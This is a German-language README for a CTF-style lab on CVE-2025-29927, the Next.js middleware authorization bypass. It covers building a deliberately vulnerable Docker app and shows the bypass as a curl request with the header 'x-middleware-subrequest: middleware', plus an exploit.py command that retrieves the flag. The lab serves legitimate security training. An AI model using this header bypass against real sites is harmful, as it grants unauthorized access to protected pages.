
CTF-artiger Proof-of-Concept, der die Umgehung der Next.js-Middleware-Autorisierung gemäß CVE-2025-29927 demonstriert. Enthält eine angreifbare Docker-App und ein Exploit-Skript, um die Flagge von einer geschützten Route abzurufen.
Dies ist ein Capture The Flag (CTF)-artiger Proof of Concept für die Next.js Middleware Autorisierungsumgehung-Schwachstelle (CVE-2025-29927). Das Ziel ist es, die Auth-Middleware zu umgehen und die Flagge von der /protected-Route abzurufen.
/protected/ umgeleitetgit clone https://github.com/mhamzakhattak/CVE-2025-29927
cd CVE-2025-29927
cd nextjs-docker
sudo docker build -t nextjs-auth-app .
sudo docker run -p 3000:3000 nextjs-auth-app
Dadurch wird die angreifbare Next.js-App unter http://IP:3000 gestartet.
Versuche folgenden Aufruf:
curl -i http://IP:3000/protected
Du wirst zu / umgeleitet.
curl -H "x-middleware-subrequest: middleware" http://IP:3000/protected
Verwende das bereitgestellte exploit.py, um die Middleware zu umgehen und auf die geschützte Route zuzugreifen:
python3 exploit.py -url http://IP:3000
Bei Erfolg erhältst du die Flagge von /protected.
Dockerfile – Erstellt die angreifbare Next.js-Anwendungexploit.py – Nutzt die Schwachstelle aus, um die Authentifizierung zu umgehenpages/ – Enthält die angreifbaren Routen /protected und /loginmiddleware.js – Die angreifbare Middleware-LogikREADME.md – Diese DateiDieser PoC dient nur zu Bildungs- und Forschungszwecken. Verwende ihn nicht gegen Systeme, die dir nicht gehören oder für die du keine ausdrückliche Erlaubnis zum Testen hast.
Finde die Flagge, indem du die Schwachstelle ausnutzt und auf folgende Route zugreifst:
http://IP:3000/protected
Viel Glück! 🏴☠️